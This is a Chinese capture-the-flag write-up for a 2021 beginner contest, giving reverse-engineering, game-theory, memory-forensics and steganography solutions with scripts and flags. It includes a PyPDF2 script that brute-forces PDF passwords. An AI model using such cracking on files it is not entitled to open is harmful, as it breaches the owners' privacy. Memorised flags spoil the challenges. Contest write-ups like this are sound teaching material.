NEWSCTF第二届--官方wp(2021.6.1萌新赛)

未经同意不得对本次比赛题目二次开发或做任何商业用途

题目源码及部分wp汇总如下

链接:https://pan.baidu.com/s/1NSsaMS8aRgZ6U_jQNSzisQ
提取码:news

Reverse

1.2021.6.1萌新赛-re_signin

出题人:mumuzi
pyc反编译,uncompyle6 flag.pyc >flag.py
分析一下,就一个冒泡排序,然后当count==c[t]

C[t]呢是ord(flag)得到的,所以当count与ord(flag[i])相等的时候输出,根据描述count is times,结合那个flag.txt,可以知道就是将每行拿去冒泡排序并计算排序次数,就可以得到flag了。

修改一下反编译的脚本就可以了,本来就是签到题:

flag = open("flag.txt","r").readlines()
rflag = ""
for n in range(len(flag)):
  nums = flag[n][1:-2]
  nums = list(nums.split(","))
  print(nums)
  count = 0
  for i in range(len(nums) - 1):
    for j in range(len(nums) - i - 1):
      if int(nums[j]) > int(nums[j + 1]):
        (nums[j]), (nums[j + 1]) = (nums[j + 1]), (nums[j])
        count += 1
  rflag += chr(count)
print(rflag)

跑出来是synt{jrypbzr_gb_arjfpgs

Rot13一下

补上最后的}

flag{welcome_to_newsctf}

2.2021.6.1萌新赛-1+1的签到题

出题人:shangu

首先查壳:

ELF文件,属于linux系统。加了一层UPX壳。

使用脱壳工具脱壳:

IDA64打开进行静态分析:

根据题目描述里的没有写完但可以运行编译可以知道,是主函数没有写完,所以要把每一个函数都看一

遍捋清楚整个程序的脉络。

定位到这里,F5查看伪代码:

在youarefast中启用了随机数种子,可以看出flag就是输入的 a1 ,并且要满足

v2 ^ (signed int)a1 ^ 0x6F7566696E646D65LL ^ 0x279ADBADE05787BFLL = v4

这里考察了对伪随机数的理解程度。伪随机数在不同语言和系统中产生的随机数都有差别,elf属于

linux,所以在linux系统下用c语言编写代码:

#include <stdio.h> 

\#include <stdlib.h> 

int main() 

{

int a=0,b=0; 

srand(0x535F4D72); 

a=rand(); 

b=rand(); 

printf("%d %d",a,b); 

}

运行出来的结果是这两个数:198469000 395774304

分别是v2 和 v3 ,伪代码中v3还要在进行一次平方,用python写一个解题代码:

#v1 ^ a1 ^ 0x235FFFA864LL ^ 0x67B7940F53LL == 20 * rand() 

a1 = 20 * 395774304 ^ 0x67B7940F53 ^ 0x235FFFA864 ^ 198469000 

print(hex(a1)) 

**** 

0x453473793f 

****

题目有提示flag是str,十六进制转成字符串:

E4sy?

得到了flag中的一段。现在还不清楚是哪一部分。继续逆其他函数;

非常明显,是base64的表,找到函数F5查看伪代码:

这里有很多细节需要注意,很明显是base64加密算法,但是仔细看表并不是刚刚字符串窗口中的,而是

v7 。

我们继续检查 v7 ,调用了一个函数,传递的参数提示为我们得到的flag;

和base64很像,根据 %58可以知道是base58,或者复制一段伪代码百度就可以找到。

找到加密表;

编写解密脚本:

def b58decode(tmp:str) -> str: 

	import binascii 

	base58 = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789" 

	temp = [] 

	for i in tmp: 

		temp.append(base58.index(i)) 

	tmp = temp[0] 

	for i in range(len(temp)-1): 

		tmp = tmp * 58 + temp[i+1] 

	return binascii.unhexlify(hex(tmp)[2:].encode("utf-8")).decode("UTF-8") 

print(b58decode("BTqHGKfUP69n1YGCyv6GEch9GEeyXiGwHeP8sTJT4V3jFab2AgMyF6noE48Sb6kp2VSg4Xi9Ak6cNBUJMVkMBemp")) 

***** 

ABCDEFGHIJKMNLOPRSTUVQWYXZabefghicdjklmnopqtuvwrsxyz0123456789+\ 

***

得到经过变换的base64加密表;

再根据函数列表找到 secret 函数,里面存放的很明显就是密文;

此时我们得到了两个解密脚本和两段密文,试一下就出来了;

secret1:ZoJPRqxMfvzxNqu

用换表后的base58解密:_Up_t0_Y0u!

secret2:ITFDNG5nejSVfUFcfGssbjVcIR==

用换表后的base64解密:!!C0ngr4Tu1atl0n5!!

整理以后结果为:

flag{E4sy?_Up_t0_Y0u!!!C0ngr4Tu1atl0n5!!}

3.2021.6.1萌新赛-开门啊-1

出题人: tomPeter15

flag为ASCII可显示字符

01.反编译查看 java 代码

在这里插入图片描述

02.查看 g.o 的来源

在这里插入图片描述

**03.**查看函数 a 使用的地方

在这里插入图片描述

**04.**分析算法

在这里插入图片描述

那么 g.o 的值为累加的值,为 1+2+3+4+5 为 15

每次点击加密.

字符内容 +1 +2 +3 +4 +5

**05.**流程

1.用户输入字符

2.每个字符加 15

3.每个字符异或上 15

4.比较结果

5.显示 right

06.解密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hf0hLXdX-1622687827535)(C:\Users\xluo\AppData\Roaming\Typora\typora-user-images\image-20210603103410591.png)]

**07.**答案:

flag{16498356746434}

4.2021.6.1萌新赛-开门啊-2

出题人: tomPeter15

flag为ASCII可显示字符

\01.运行程序

\02.直接看JAVA的反汇编

\03.SO层分析 第一个值的分析

gV3的值

我们 先获取到 gV1 的值.

gV1是.";996731O332221RYUQO",0 异或一个值.

输入的第一个的值,就是.

45464789433211

\04.用户输入第二个值获取

\05.动态调试

接下来,我们输入正确的 字符1 45464789433211

然后动态调试 so 文件 在 tom2 下断

我们单步骤,可以把所有的值都获取到.

第一个是4.

0x52 ^0x34 = ‘f’ 得到第一个值 f

这个是flag 的第一个字母

这些循环调试下去,就可以得到所有的值.

flag{756912374567645}

\06.答案:

Value1: 45464789433211

Value2: flag{756912374567645}

5.2021.6.1萌新赛-Qsay

出题人:Qfrost

exp.cpp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define u8 unsigned char
#define u32 unsigned long



const u32 TBL_SYS_PARAMS[4] = {
	0xa3b1bac6,
	0x56aa3350,
	0x677d9197,
	0xb27022dc
};

const u32 TBL_FIX_PARAMS[32] = {

	0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
	0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
	0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
	0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
	0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
	0x30373e45,0x4c535a61,0x686f787d,0x848b9299,
	0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
	0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};

const u8 TBL_SBOX[256] = {

	0xC6,0x90,0xe9,0xfe,0xcc,0xe1,0x3F,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
	0x2b,0x67,0x9a,0x76,0x2C,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
	0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
	0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
	0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
	0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
	0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
	0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
	0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
	0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
	0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
	0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
	0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
	0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
	0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
	0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};

void four_uCh2uLong(u8* in, u32* out)
{
	int i = 0;
	*out = 0;
	for (i = 0; i < 4; i++)
		*out = ((u32)in[i] << (24 - i * 8)) ^ *out;
}

void uLong2four_uCh(u32 in, u8* out)
{
	int i = 0;
	for (i = 0; i < 4; i++)
		*(out + i) = (u32)(in >> (24 - i * 8));
}

u32 move(u32 data, int length)
{
	u32 result = 0;
	result = (data << length) ^ (data >> (32 - length));

	return result;
}

u32 func_key(u32 input)
{
	int i = 0;
	u32 ulTmp = 0;
	u8 ucIndexList[4] = { 0 };
	u8 ucSboxValueList[4] = { 0 };
	uLong2four_uCh(input, ucIndexList);
	for (i = 0; i < 4; i++)
	{
		ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
	}
	four_uCh2uLong(ucSboxValueList, &ulTmp);
	ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23);

	return ulTmp;
}

u32 func_data(u32 input)
{
	int i = 0;
	u32 ulTmp = 0;
	u8 ucIndexList[4] = { 0 };
	u8 ucSboxValueList[4] = { 0 };
	uLong2four_uCh(input, ucIndexList);
	for (i = 0; i < 4; i++)
	{
		ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
	}
	four_uCh2uLong(ucSboxValueList, &ulTmp);
	ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24);

	return ulTmp;
}



void Decrypto(int len, u8* key, u8* input, u8* output)
{
	int i = 0, j = 0;
	u32 ulKeyTmpList[4] = { 0 };
	u32 ulKeyList[36] = { 0 };
	u32 ulDataList[36] = { 0 }; 
	len = 16 * (len / 16) + 16 * ((len % 16) ? 1 : 0);


	/*寮€濮嬬敓鎴愬瓙绉橀挜*/
	four_uCh2uLong(key, &(ulKeyTmpList[0]));
	four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
	four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
	four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

	ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
	ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
	ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
	ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

	for (i = 0; i < 32; i++) 
	{
		ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
	}

	for (j = 0; j < len / 16; j++) 
	{
		four_uCh2uLong(input + 16 * j, &(ulDataList[0]));
		four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1]));
		four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2]));
		four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3]));

		for (i = 0; i < 32; i++)
		{
			ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i]);
		}
		uLong2four_uCh(ulDataList[35], output + 16 * j);
		uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
		uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
		uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
	}
}

void print_hex(u8* data, int len)
{
	int i = 0;
	char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };
	for (i = 0; i < len; i++)
	{
		printf("%c", alTmp[data[i] / 16]);
		printf("%c", alTmp[data[i] % 16]);
		putchar(' ');
	}
	putchar('\n');
}



int main() {

    u8 key[] = {0x4D, 0x4C, 0x7B, 0x4F, 0xAB, 0x6B, 0x78, 0x09, 0xE6, 0x27, 0xFA, 0x9D, 0xA6, 0xC6, 0x4E, 0x8A};
    u8 input[] = {0xAF, 0xD3, 0xD5, 0x71, 0x1F, 0xC6, 0xA3, 0x42, 0xC5, 0x64, 0x53, 0x2E, 0xFE, 0x13, 0xF1, 0xA3,
                    0x0F, 0x96, 0x0A, 0x0B, 0x1D, 0x3D, 0x83, 0x33, 0x2A, 0x4B, 0x71, 0x98, 0x10, 0xFF, 0x70, 0x43    };
    u8 output[64] = {0};
    Decrypto(32, key, input, output);
    for(int i=0;i<32;++i)
        printf("%c", output[i]);
    return 0;
}

博弈

1.2021.6.1萌新赛-1简单的博弈魔法

出题人:Devour

此题是sg函数的入门题,子树的SG函数等于其子树的SG的nim和+1,最后检验根节点的子树们的nim和即可。

2.2021.6.1萌新赛-2黑猫的博弈游戏

出题人:Devour

黑猫博弈是一个trick ,由于先手无论做什么,1总是会被摘取,那么先手如果面对的是必胜态,那么就必胜,如果面对的失败态,他可以巧妙地把1摘取,然后把这个必败态转移给对方,从而让自己立于不败之地。

3.2021.6.1萌新赛-3白猫的数学游戏

出题人:Devour

结论:当N等于P或者P*2的时候,答案为-1(即为N-1),其余时候互质数乘积和为1.这冷门结论的证明网上有,也可以暴力用数学归纳法证明。

4.2021.6.1萌新赛-4青铜君王的超新星博弈

出题人:Devour

超新星博弈每一次合法翻转操作应该保证右下角为激活状态。即翻转(x1,y1)(x2,y1,)(x1,y2)(x2,y2),(x1<=x2)(y2<=y1),应保证(x2,y2)为亮着

二维sg函数,这类组合博弈问题在 神牛曹钦翔的论文:从“k倍动态减法游戏”出发探究一类组合游戏问题“有说到。

如果只有一行,即n=0,每一枚向上硬币可以被理解成一个单独的游戏,于是游戏似乎就变成这些单独游戏的“和”,因为翻两枚硬币可以理解成把“坐标大”的正面硬币移到了坐标小的位置。唯一一点区别是,同时翻两枚正面向上的硬币,就相当于坐标小的被坐标大的硬币“消掉”了。这其实与游戏“和”模型是不矛盾的,因为两个相同位置的正面硬币的SG 函数值必相同,因此他们的Nim 和为0,所以等于“没有”。
回到原来问题,显然问题也归结为若干个单独游戏的和——若干个单独的证面向上的硬币。在只包含一行的游戏中,一颗正面向上的硬币的SG 函数就是它的列坐标。

每枚正面向上的硬币可以理解成一个独立的简单游戏,而在这个游戏中,每次操作能加一个简单游戏拆分成3 个游戏的“和”。这是游戏“和”的嵌套。

这是这个题目的分析,具体的NIM积的运算以及性质 在论文里面也有详解,请参考

Misc

1.2021.6.1萌新赛-very-ez-dump

出题人:mumuzi

一道简单普通的内存取证题,按照常规方法就可以了。

首先放进kali,用volatility

volatility -f mem.raw imageinfo

Win7SP1x64

然后pslist看看

volatility -f mem.raw --profile=Win7SP1x64 pslist

发现cmd当时正在运行(因为后面是1)

搜一下flag

volatility -f mem.raw --profile=Win7SP1x64 filescan |grep flag

Dump出来

volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003e4b2070 -D ./

使用(ljmmz)ovo来解压

flag{ez_di_imp_1t_y0u_like?}

2.2021.6.1萌新赛-sign in

出题人:haisen

首先打开是一个加密的pdf文件

我们可以用python PyPD2 来破解密码首先猜一波数字

pdf.py

import  PyPDF2
def decrypt(old_Path):
    with open(old_Path, 'rb') as pdfFile:
        pdfReader = PyPDF2.PdfFileReader(pdfFile)
        pdfWriter = PyPDF2.PdfFileWriter()
        if pdfReader.isEncrypted:
            for i in range(0,10000000):
                pwd=str(i).zfill(4)
                print(pwd)
                if pdfReader.decrypt(pwd):
                    for pageNum in range(pdfReader.numPages):
                        pdfWriter.addPage(pdfReader.getPage(pageNum))
                        print('密码成功了'+pwd)
                        exit()
                        break
decrypt('flag_encrypy.pdf')

得到密码661123

得到flag 当然也可以百度破解pdf密码的方法 比如pdfcrack

3.2021.6.1萌新赛-!了反都,了反

izumum:人题出

得到piz.galf

根据名字

piz.galf改成flag.zip

解压得到一个流量包

用wireshark打开

直接搜flag都是垃圾数据,查看导出列表

可以发现接收过一个zip(piz)

导出并命名为flag.zip

打开报错

Winhex查看

发现是反过来的rar

用脚本把它正过来,把zip改成flag.rar

f3 = open("flag.rar","rb").read()
f4 = open("flag1.rar","wb")
f4.write(f3[::-1])

打开

现在要去流量包中找登录密码

输入 tcp contains “login”(英文双引号)

分析发现,这里在登录后进入到了主页,这里有两三个POST,都尝试之后发现密码是passwd123

解压得到flag.txt

是反过来的txt,再写脚本

f1 = open("flag.txt",'r').readlines()
f2 = open("flag1.txt",'w')

for i in range(len(f1)):
  f2.write(f1[i][::-1])

得到flag1.txt,打开发现是base64隐写

百度都有脚本!!!你说简不简单,很简单。

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())

        offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum = stegb64.count('=')

        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)

        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) 

Flag{md5(0)}

flag{cfcd208495d565ef66e7dff9f98764da}

4.2021.6.1萌新赛-happy六一

出题人:haisen

得到题目附件

那就先画个图,用yafu工具分解因式,老画图了 直接贴脚本

from PIL import Image
f= open('draw起来.md',encoding='utf-8')

image=Image.new('RGB',(311,383))

s= f.read()
count=0
for  width in range(311):
    for height in range(383):
        if(s[count]=='六'):
            image.putpixel((width,height),(0,0,0))
        else:
            image.putpixel((width,height),(255,255,255))
        count +=1
image.show()

看上去并没什么用坑人了,继续找 用winhex打开发现一串01

转化得到pwd is 123456

还有一个crypto文件 使用工具Encrypto打开需要 密码 输入上面得到的发现不对,那么再继续找先用一些带密码的隐写方法尝试,

stegpy key.png -p

最终在stegy 工具下得到fERASmxgfD82SQ==

根据特征base64解密得到

|D@Jl`|?6I

base91 解密得到

happy6.1

说实话这密码还是听话猜的
那么解密 得到flag.txt

Snow 隐写 得到flag

5.2021.6.1萌新赛-Peltate

出题人:cheyenne

题目名称:Peltate

附件:flag.png

flag:NEWSCTF{A_Stego_a_day_makes_taoshen_AWAY}

解题过程:

from PIL import Image

def splitcol(img, col):
    if isinstance(col, int):
        col = [col]
    w, h = img.size
    new = Image.new('1', img.size, 0)
    for x in range(w):
        for y in range(h):
            p = img.getpixel((x, y))
            if p in col:
                new.putpixel((x, y), 255)
    return new

img = Image.open('C:/Users/Administrator/Desktop/Peltate/flag.png')
for i in range(256):
    splitcol(img, i).save('C:/Users/Administrator/Desktop/Peltate/out/' + str(i) + '.png')

查看输出结果,除了0和1是可见文字及可以通过Stegsolve的Random Colour Map功能可以看到的fake_flag,其他都是均匀分布在背景上的噪点,仅有212-219很明显偏向一边且排成了几行。

img = Image.open('C:/Users/Administrator/Desktop/Peltate/flag.png')
# for i in range(256):
#     splitcol(img, i).save('C:/Users/Administrator/Desktop/Peltate/out/' + str(i) + '.png')
splitcol(img, range(212, 220)).save('C:/Users/Administrator/Desktop/Peltate/out.png')

得到flag。

6.2021.6.1萌新赛-base64 … or base56?

出题人:cheyenne

题目名:base64 … or base56?

附件:txt

flag:NEWSCTF{So_wh0_1s_th3_God_of_Matryoshka}

解题过程:

拿到手的是一段很明显的base64编码,但解码后得到的是大量不可打印字符。关键点就在这里,这其实是一段以7-bit ASCII码形式储存的文本,在8-bit模式下必然无法识别。但如果以二进制形式查看,就能发现每7位转码均可以得到可识别的结果。题目中的56作为提示,实际上是指密文经过了两重变换,先将长度缩减到了原本的7/8,然后再进行base64编码。解码脚本如下(不唯一):

import base64
from Crypto.Util.number import bytes_to_long

s = open('C:/Users/Administrator/Desktop/base56/txt').read().encode()
s = base64.b64decode(s)

r = ''
for i in range(0, len(s), 7):
    t = bytes_to_long(s[i:i+7])
    t = bin(t)[2:].zfill(56)
    for j in range(0, 56, 7):
        r += chr(int(t[j:j+7], 2))
print(r)

7.2021.6.1萌新赛-包

出题人:cheyenne

题目名称:包

附件内容:flag.png

flag:newsctf{鸡包包鸡包包鸡包纸包纸包鸡包包鸡纸包鸡包纸包鸡}

题目内容:群主说让我出个难一点的题,但我觉得做人不能太套神mumuzi,因此本题郑重承诺不使用任何密钥和解压密码,郑重承诺仅在需要减小文件体积时使用压缩软件,郑重承诺没有任何关键信息需要猜测和爆破,郑重承诺出题过程只使用纯天然Python3,不添加任何奇怪的工具软件。

解题过程:

开局给出一张8-bit的QR码,随便用什么办法,总之解码得到一个压缩包,解压得到16张bmp图片:

拼一下:

from PIL import Image

out = Image.new('1', (104, 104), 255)
for i in range(16):
    tmp = Image.open(f'C:/Users/Administrator/Desktop/包/flag/flag-{str(i)}.bmp')
    x, y = i % 4 * 26, i // 4 * 26
    out.paste(tmp, (x, y))
out.save('C:/Users/Administrator/Desktop/包/flag/flag.png')

然后不管用什么方法,总之扫一下得到:

UEsDBBQAAAAIAIlRuVJjzCpL/gEAACoKAAALAAAAYmZfb3V0Mi50eHTdVVuOwyAMPBAChVcCUtSLrHr/a6wHCsam3a/9qlSh+oHtGdukmB/7KOZ+PvxpXLbu7hp7P+lwxt0JcoLH+E82OqIrxhW6UKGscIjGnaTwBzR0kuoyLFu4wB6aHGAPhxkRLEQyX5AuGClBxn3f/L1tVdrV/6Iy+AJVMSQYCU2ywd0Rmgi7GQLMdFWU6oJxlxWAiRLBCJIzY2RN9FOIt4oRM0POEOsqgZS1pDyNHf7qSlGbQCcuFgFVpgyHYtlXs8IIE0Zv0VbRCfHsGAchvcGzCjgjHU2BwI+MXM0rG+4tk3boKxWK2BTRNoUGEJegirhGuo6o524inpd5anxaGSAXLqaNqEes1BSpTwGzoJMPVqKVujDH9m15gVnvnZfwF7F5e+Gt2I2zZdLY94VpHK3g0E2hPArf3+d1nf0PfdPxo9iwLGo9BZAsJhyRWVIoygzTQQo+dHs2PNyXU3fylHiozHXqtqFMItpl1G7vQ8/LTk/ntlxrNDrU/aiWJgrYg5Bh4UxVsByWsG/2vwpmg1yjIN6yc6M9b1tnxN6FKQ72eBjo+Lbvzcrr+N+CDhbla9zzXf/+keo+orK/CsjUNJFQLlvRLwqvbY8mrip24yR3H+BqVOConmFPqaei9fZS4auq7cuyf1q2V4OxHIlO/JNfH7/uAMqJMt2KZAzB/QtQSwECPwAUAAAACACJUblSY8wqS/4BAAAqCgAACwAkAAAAAAAAACAAAAAAAAAAYmZfb3V0Mi50eHQKACAAAAAAAAEAGAALPSRiC1HXAfsVJGILUdcB+xUkYgtR1wFQSwUGAAAAAAEAAQBdAAAAJwIAAAAA

解码一下:

echo UEsDBBQAAAAIAIlRuVJjzCpL/gEAACoKAAALAAAAYmZfb3V0Mi50eHTdVVuOwyAMPBAChVcCUtSLrHr/a6wHCsam3a/9qlSh+oHtGdukmB/7KOZ+PvxpXLbu7hp7P+lwxt0JcoLH+E82OqIrxhW6UKGscIjGnaTwBzR0kuoyLFu4wB6aHGAPhxkRLEQyX5AuGClBxn3f/L1tVdrV/6Iy+AJVMSQYCU2ywd0Rmgi7GQLMdFWU6oJxlxWAiRLBCJIzY2RN9FOIt4oRM0POEOsqgZS1pDyNHf7qSlGbQCcuFgFVpgyHYtlXs8IIE0Zv0VbRCfHsGAchvcGzCjgjHU2BwI+MXM0rG+4tk3boKxWK2BTRNoUGEJegirhGuo6o524inpd5anxaGSAXLqaNqEes1BSpTwGzoJMPVqKVujDH9m15gVnvnZfwF7F5e+Gt2I2zZdLY94VpHK3g0E2hPArf3+d1nf0PfdPxo9iwLGo9BZAsJhyRWVIoygzTQQo+dHs2PNyXU3fylHiozHXqtqFMItpl1G7vQ8/LTk/ntlxrNDrU/aiWJgrYg5Bh4UxVsByWsG/2vwpmg1yjIN6yc6M9b1tnxN6FKQ72eBjo+Lbvzcrr+N+CDhbla9zzXf/+keo+orK/CsjUNJFQLlvRLwqvbY8mrip24yR3H+BqVOConmFPqaei9fZS4auq7cuyf1q2V4OxHIlO/JNfH7/uAMqJMt2KZAzB/QtQSwECPwAUAAAACACJUblSY8wqS/4BAAAqCgAACwAkAAAAAAAAACAAAAAAAAAAYmZfb3V0Mi50eHQKACAAAAAAAAEAGAALPSRiC1HXAfsVJGILUdcB+xUkYgtR1wFQSwUGAAAAAAEAAQBdAAAAJwIAAAAA | base64 -d > 1

得到一个压缩包,解压得到文本:

8+[->8+<]>16+.5-.<8+[->8-<]>8-.+.<4+[->4+<]>.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-3.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10+<]>5+.<11+[->11-<]>17-.<5+[->5-<]>9-.<5+[->5-<]>10-.<3+[->3-<]>5-.<5+[->5+<]>8+.<5+[->5-<]>.<15+[->15+<]>18+.<7+[->7-<]>.<11+[->11-<]>20-.<12+[->12+<]>19+.<8+[->8-<]>2-.<8+[->8+<]>7+.<5+[->5-<]>10-.<6+[->6+<]>6+.<4+[->4+<]>3+.<15+[->15-<]>11-.8+.<10+[->10+<]>12+.<11+[->11-<]>2-.3+.<8+[->8+<]>10+.<10+[->10+<]>19+.<13+[->13-<]>19-.<12+[->12+<]>13+.<11+[->11-<]>10-.<3+[->3+<]>5+.<10+[->10+<]>17+.<10+[->10-<]>-.<8+[->8-<]>10-.<7+[->7+<]>14+.<5+[->5-<]>8-.<13+[->13+<]>21+.<14+[->14-<]>6-.<15+[->15+<]>5+.<10+[->10-<]>11-.3-.<10+[->10-<]>2-.<9+[->9+<]>17+.<10+[->10-<]>20-.<6+[->6+<]>8+.<12+[->12+<]>+.<12+[->12-<]>21-.<6+[->6+<]>3+.<8+[->8+<]>13+.<4+[->4+<]>3+.<8+[->8-<]>7-.<11+[->11+<]>10+.<12+[->12-<]>10-.<11+[->11+<]>8+.<8+[->8-<]>10-.<3+[->3-<]>4-.<10+[->10-<]>19-.<12+[->12+<]>13+.<12+[->12-<]>13-.<4+[->4+<]>5+.<4+[->4+<]>6+.<8+[->8+<]>5+.<7+[->7-<]>9-.<7+[->7-<]>.<11+[->11+<]>18+.<4+[->4-<]>7-.<8+[->8+<]>15+.<10+[->10-<]>.<8+[->8-<]>10-.<9+[->9+<]>6+.<10+[->10-<]>16-.<12+[->12+<]>4+.<3+[->3+<]>3+.<11+[->11-<]>14-.<9+[->9+<]>7+.<3+[->3-<]>5-.<10+[->10+<]>19+.<5+[->5+<]>+.6+.<15+[->15-<]>11-.<9+[->9+<]>9+.<10+[->10+<]>13+.<13+[->13-<]>3-.<8+[->8+<]>.<4+[->4-<]>3-.<5+[->5+<]>9+.<8+[->8+<]>2+.<10+[->10-<]>10-.<6+[->6+<]>9+.<4+[->4-<]>2-.<8+[->8-<]>12-.<5+[->5-<]>6-.<8+[->8+<]>15+.5-.<8+[->8-<]>10-.+.<7+[->7+<]>12+.<7+[->7-<]>14-.<4+[->4+<]>4+.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-.<6+[->6+<]>.<6+[->6-<]>7.<5+[->5+<]>7+.<5+[->5-<]>7-7.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10-<]>6-.<3+[->3-<]>-.<5+[->5+<]>7+.<5+[->5-<]>7-5.+.-.<4+[->4+<]>8+.<4+[->4-<]>8-.<11+[->11+<]>15+.<7+[->7+<]>7+.<4+[->4+<]>8+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<8+[->8+<]>15+.5-.<8+[->8-<]>6-.+.6-4.+.-.+.-.<9+[->9+<]>11+.<9+[->9-<]>11-3.<11+[->11+<]>7+.<11+[->11-<]>7-5.<

很明显是Brainfuck,但是重复字符被编码了,写个脚本还原:

